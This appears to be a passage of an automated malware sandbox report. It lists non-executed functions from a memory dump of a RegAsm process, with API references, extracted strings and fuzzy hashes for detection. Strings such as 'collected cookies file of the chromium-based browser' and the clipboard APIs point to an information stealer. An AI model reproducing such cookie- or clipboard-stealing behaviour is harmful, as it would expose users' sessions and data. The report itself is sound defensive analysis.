Uniqueness Score: -1.00%

Non-executed Functions

Function 0042DDE0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042DE34
OpenClipboard.USER32 ref: 0042DE46
GetClipboardData.USER32 ref: 0042DE6B
GlobalLock.KERNEL32 ref: 0042DE8C
GlobalUnlock.KERNEL32 ref: 0042DF8B
CloseClipboard.USER32 ref: 0042DF91

Strings

L, xrefs: 0042DEFD
7, xrefs: 0042DEE5
K, xrefs: 0042DEF9
N, xrefs: 0042DEF5
8, xrefs: 0042DEED
I, xrefs: 0042DEE9

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: 7$8$I$K$L$N
API String ID: 3829817484-2422513041
Opcode ID: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction ID: 8ed9dd40b2239205a4d96c9da8700085f56f38dffb9234c430860a7af855d13a
Opcode Fuzzy Hash: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction Fuzzy Hash: 0F5190B0A04740CFC721DF39D585616BBE0AF16314F548AADE8D68F796D334E805CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF19 Relevance: 15.5, Strings: 12, Instructions: 473COMMON

Download Yara Rule

Strings

)m:o, xrefs: 0041FA59
Ny0{, xrefs: 0041FA27
bD, xrefs: 0041F90F
8a)c, xrefs: 0041FA63
GC, xrefs: 0041F92D
.q#s, xrefs: 0041FA3B
4i:k, xrefs: 0041FA4F
H{, xrefs: 0041F923
[J, xrefs: 0041F919
x!\', xrefs: 0041F066
)/, xrefs: 0041F30E
"u w, xrefs: 0041FA45

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction ID: 62964ce6587a9f6e8b4bc72a90dd2b3cf09b0a553c01e9630c29236c2bf44c9c
Opcode Fuzzy Hash: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction Fuzzy Hash: D852FCB0205B858FE325CF25D494BD7BBE1BB06348F50892EC4EB5B645CB74A14ACF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041FBB5 Relevance: 15.5, Strings: 12, Instructions: 465COMMON

Download Yara Rule

Strings

GC, xrefs: 004205B9
.q#s, xrefs: 004206C7
)m:o, xrefs: 004206E5
"u w, xrefs: 004206D1
x!\', xrefs: 0041FD02
Ny0{, xrefs: 004206B3
H{, xrefs: 004205AF
)/, xrefs: 0041FFA0
4i:k, xrefs: 004206DB
bD, xrefs: 0042059B
8a)c, xrefs: 004206EF
[J, xrefs: 004205A5

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction ID: 047a6880c081cc5f665bfd31f87bed186ae8e6b2cdbb109c5f5ad8525fb29fbb
Opcode Fuzzy Hash: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction Fuzzy Hash: 6F52FBB0205B858FE325CF25D494BD7BBE1BB06348F90891EC4EB5B646CB74A149CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7CD Relevance: 13.8, Strings: 11, Instructions: 100COMMON

Download Yara Rule

Strings

:m:o, xrefs: 0040F897
q$s, xrefs: 0040F876
3yZ{, xrefs: 0040F860
~w, xrefs: 0040F9F7
u=w, xrefs: 0040F881
9aBc, xrefs: 0040F8A2
u!|#, xrefs: 0040F7F2
Hik, xrefs: 0040F88C
M-q/, xrefs: 0040F7EA
hI4K, xrefs: 0040F834
8MnO, xrefs: 0040F83F

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: u=w$3yZ{$8MnO$9aBc$:m:o$Hik$M-q/$hI4K$u!|#$~w$q$s
API String ID: 0-1478902827
Opcode ID: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction ID: a799ed0fff6447343bd514cbacf28bedb163b3e05e2a36f77cc3edbc9f46f7b9
Opcode Fuzzy Hash: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction Fuzzy Hash: AA51EBB45193C19BE674CF11D891B9FBBA1BBC6340F608E1CD5D92B254CB30904ACF96

Uniqueness

Uniqueness Score: -1.00%

Function 00424240 Relevance: 9.0, Strings: 7, Instructions: 223COMMON

Download Yara Rule

Strings

8C, xrefs: 00424308
7&"4, xrefs: 00424321
)5>Q, xrefs: 0042426B
rr}t, xrefs: 00424411
4f, xrefs: 004243DF
&>95, xrefs: 0042432B
##*8, xrefs: 00424317

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: ##*8$&>95$)5>Q$7&"4$8C$rr}t$4f
API String ID: 1279760036-3888404133
Opcode ID: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction ID: 3f6742af25c925c888f3af746ffa36932763abd1f696094f3cdaf422b2e53c93
Opcode Fuzzy Hash: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction Fuzzy Hash: 4D9157B4245B90CBE3268F25D4A0BE3BBE1FF56309F540A5DC4EB0B285C37AA4458F95

Uniqueness

Uniqueness Score: -1.00%

Function 0041D128 Relevance: 8.0, Strings: 6, Instructions: 493COMMON

Download Yara Rule

Strings

=ksw, xrefs: 0041D27C
"frc, xrefs: 0041D287
&zqi, xrefs: 0041D292
#m8j, xrefs: 0041D29D
deks, xrefs: 0041D2B3
[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 0041D348

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "frc$#m8j$&zqi$=ksw$[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser$deks
API String ID: 0-866983173
Opcode ID: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction ID: c58cb54646a3eb14b49da7c51523dbab074ab8a0297049e6d9acae5f9d3fd762
Opcode Fuzzy Hash: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction Fuzzy Hash: B2029FB59083559FC324CF18C49076BBBE2BF86308F588A6DE4D59B391D738E841CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B470 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0043B620
R-,T, xrefs: 0043B520
gxyz, xrefs: 0043B4D8

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: R-,T$R-,T$gxyz
API String ID: 0-1473045628
Opcode ID: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction ID: d43682651e4d1bbcca935c21765318abaecc161b347944d4f0b38a11893cb63e
Opcode Fuzzy Hash: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction Fuzzy Hash: 77A1BC726043129BC715CF18C49076BB7A2FF88324F29961EE9959B391D738EC15CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 00416E69 Relevance: 4.0, Strings: 3, Instructions: 266COMMON

Download Yara Rule

Strings

/9++, xrefs: 004170E7
756., xrefs: 004170E0
w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00417199

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /9++$756.$w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser
API String ID: 0-1700640428
Opcode ID: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction ID: cbd01cd0f0e0f6a1cd8aef29ed4a15310b76b2b422a9a27135592bbd613474a8
Opcode Fuzzy Hash: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction Fuzzy Hash: CAB1A070508B418BD329CF35C0A17A3BBE2BF96354F148A5EC0E74B791C739A486CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411739 Relevance: 3.5, APIs: 2, Instructions: 509COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 00411C9F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,?,?,?), ref: 00411CD0

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction ID: 0ed494a6543ca339513086986a4129f0b880fa6df34ef5ec732637b97b238257
Opcode Fuzzy Hash: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction Fuzzy Hash: BD127D71250B008BE325CF24C4917E7B7F2BF85304F088A2DD4AB87691EB7AB559CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B930 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

789:, xrefs: 0041BBB6

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: b996def426ce6c93dfb3c0d2b8574bf75d36e5b31bc495960c58811c0470f269
Instruction ID: 418ff68b172b6724851a5f9b45def2009d2e8c16223b2686ec42ef28e0ca92a7
Opcode Fuzzy Hash: b996def426ce6c93dfb3c0d2b8574bf75d36e5b31bc495960c58811c0470f269
Instruction Fuzzy Hash: F981D1B1A042059BDB24DF14C892BBB73B4EF85324F08452DE9959B391E738ED41C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B2A0 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

?mlk, xrefs: 0041B3D6

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ?mlk
API String ID: 0-3660313571
Opcode ID: 69b391067aedde1dc5241c6d9153a3fd8a133c152dfaad8eff51354b77e8172c
Instruction ID: 01c671782572adc667358f00788eb460e8e2c42b2d22e52cc5728f6b1ee1f78b
Opcode Fuzzy Hash: 69b391067aedde1dc5241c6d9153a3fd8a133c152dfaad8eff51354b77e8172c
Instruction Fuzzy Hash: 8D8105B15042148BDB14DF18C892BBB73B2EF95328F18825EE8964B391E739D845C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 00410C5B Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

JAF, xrefs: 0041237A

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: JAF
API String ID: 0-4103162853
Opcode ID: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction ID: cfe4e2a8978f3ae7d713284cd87d2e3eb9195a7231fafb701f6cf529d3db3fb2
Opcode Fuzzy Hash: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction Fuzzy Hash: 37816DB0500B009FE735CF24C490BA7B7F6BF45314F148A2ED4AA87681E779B998CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004176E1 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

789:, xrefs: 0041772A

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction ID: 7b78dbaa38c7b21beee6cf440ef457b437b28244ea0c7ae6acfcb896623c88e2
Opcode Fuzzy Hash: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction Fuzzy Hash: A631D079A04A408FD325CF24C895BA7B7F2EB46304F58896ED497C7792DB38E846CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00417A78 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00417B23

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser
API String ID: 0-4202348984
Opcode ID: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction ID: 7b1c09e42af0d5f6b04bbe538d6475b2e989d68743133b3e170275eba0625d42
Opcode Fuzzy Hash: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction Fuzzy Hash: 39217CB4918B918FC3368F34C5A4363BBF1AB12218B041A5DC5E38BB91C374F442CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00413722 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

789:, xrefs: 0041374F

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction ID: 75855608be2bda6d97df851f8e3a2661acfeea8d70f422b91aa9a116a9652a2c
Opcode Fuzzy Hash: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction Fuzzy Hash: 442162752107419BD725CF24C881BA7B3B2FF81305F284A1EE596A7785D7B9F841CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0041347E Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

789:, xrefs: 004134C0

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction ID: 695dfa75bfd7b84a09a8389b6cc6ea945b72dffd246397d7a94960ee23ad2b5b
Opcode Fuzzy Hash: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction Fuzzy Hash: 3C21A134640B029BD7348F28C890BA7B7F2BB45315F14492CD2A787B92E379F8419B48

Uniqueness

Uniqueness Score: -1.00%

Function 00422B70 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction ID: 3c3bb655185b5af2888637fc8bac67708ee984c1cf6fe0d356e12da658f3a700
Opcode Fuzzy Hash: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction Fuzzy Hash: 79F0C82020CBD19EC716CF299150676FFE0AF97605F1454CDD4D197362C21CD90ACB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00422B54 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction ID: 364beef6f316d3f83652dd8aa71acb0ec1cc879e8a2107f1598c1c26b9198e98
Opcode Fuzzy Hash: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction Fuzzy Hash: B9E0223020C7908EC309CF28E110236FBE1AF9B600F2454DED4C2D73A2C228DA07CA1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041403B Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

:^F, xrefs: 00414061

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: :^F
API String ID: 0-1832529195
Opcode ID: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction ID: 7f238519bb71acc741d5806136ffcdbde4ed3e01776cef76c6de01323dd1d1f1
Opcode Fuzzy Hash: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction Fuzzy Hash: 4BE01A5594F3C05FD7079B306C668A67F3A4BC7204B0E40EBD589CB2A3C4384A2DD36A

Uniqueness

Uniqueness Score: -1.00%

Function 00417BF5 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction ID: 7bf09f208c8d42f402782dd01e8dcfad3d0292ea5e19e587d8160202315e0386
Opcode Fuzzy Hash: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction Fuzzy Hash: A8B18BB1504B018BD725CF24C4A1BA3B7F2FF85314F148A0ED8A64BB91D779B986CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410F4D Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
Instruction ID: b397bc2b545a3e06a06c6f9a7b35e90c89a8d5b58e071fd8aed5b45881f06650
Opcode Fuzzy Hash: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
Instruction Fuzzy Hash: D1818FB0500B008FD735CF25C4947A7B7E6AF89314F14892ED1AB87791E77AB889CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00416A62 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction ID: d15a5ba77c2942aaed52dfcd08f948692d97a9139cdbd11b09d40d24ee078bc7
Opcode Fuzzy Hash: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction Fuzzy Hash: 1B61BD701083528BCB14CF14C861AABB3B1FFD6318F415A1CF8A65B2D1D735D845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00414F10 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction ID: 57d970a1a5eaa07e00c5266ac3b256e7819b63f8173c30f7784ac52c659ae5f7
Opcode Fuzzy Hash: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction Fuzzy Hash: 574117B1908304DBD320AF54D8807A7B7E8EFD5314F09466AE89947381E779D885C39A

Uniqueness

Uniqueness Score: -1.00%

Function 00415216 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction ID: 545b315d56c03b522b5d99d20036039b40e7180db63e96aaac84a40b3ebbbfbc
Opcode Fuzzy Hash: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction Fuzzy Hash: C731B272610A10CFC724CF14C892AB373B1FFAA354719416AD956CB3A0E739F851CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043822F Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction ID: f1f54ffedb807780357bd696c1c2a9751d85aa1e3442850fd13f11c07331e65e
Opcode Fuzzy Hash: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction Fuzzy Hash: CB3115746083419BE718CF04C5A472BB7E2BBCA709F25995DE8C607791C739EC09DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004025E0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction ID: 07de276a0e9e5309fcf8d398c85ee914db3ade285566f83fb5552bca2ba40eb8
Opcode Fuzzy Hash: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction Fuzzy Hash: D231D8306046009BC7149E19CA88927B7E1EF85318F184D7EE8D9A73D1D67ADD53CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00432140 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d2de3db70371d7fa33c8edf06fd931e09d60dc9d2bbf6fa126cafacc00fd25b9
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: BB114C33A051E40EC7168D3C8A00565BFA31AD7234F1D539AF4B49B2D2D6278D8B8369

Uniqueness

Uniqueness Score: -1.00%

Function 0043799B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction ID: 7589fa0b55ddb035dc5953139a33f16b58e0856eb98253357792a4a2099d3379
Opcode Fuzzy Hash: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction Fuzzy Hash: 7511E2B04193418BD718DF14C0A066BBBF1EF8A344F545E0EE8E29B240D339D6069B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A0D9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction ID: 5fc0ae8dc96022c44960700c7ab2adaf62af461dc2bf8e2718f495d239de32d0
Opcode Fuzzy Hash: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction Fuzzy Hash: 2EF06735A083019BC708CF19C09062BFBF0AF8A750F28986EA4D9D3351DB30ED558B46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2C0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction ID: b4944c70536aa93040e23a0d3de02e03ae6e0bd8259874742134aa93b1285e44
Opcode Fuzzy Hash: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction Fuzzy Hash: A7E0C266B057610BA718CDB548A01B7F7E55A87322F1CA4BED492E3244C13CC805425C

Uniqueness

Uniqueness Score: -1.00%

Function 0040FED9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

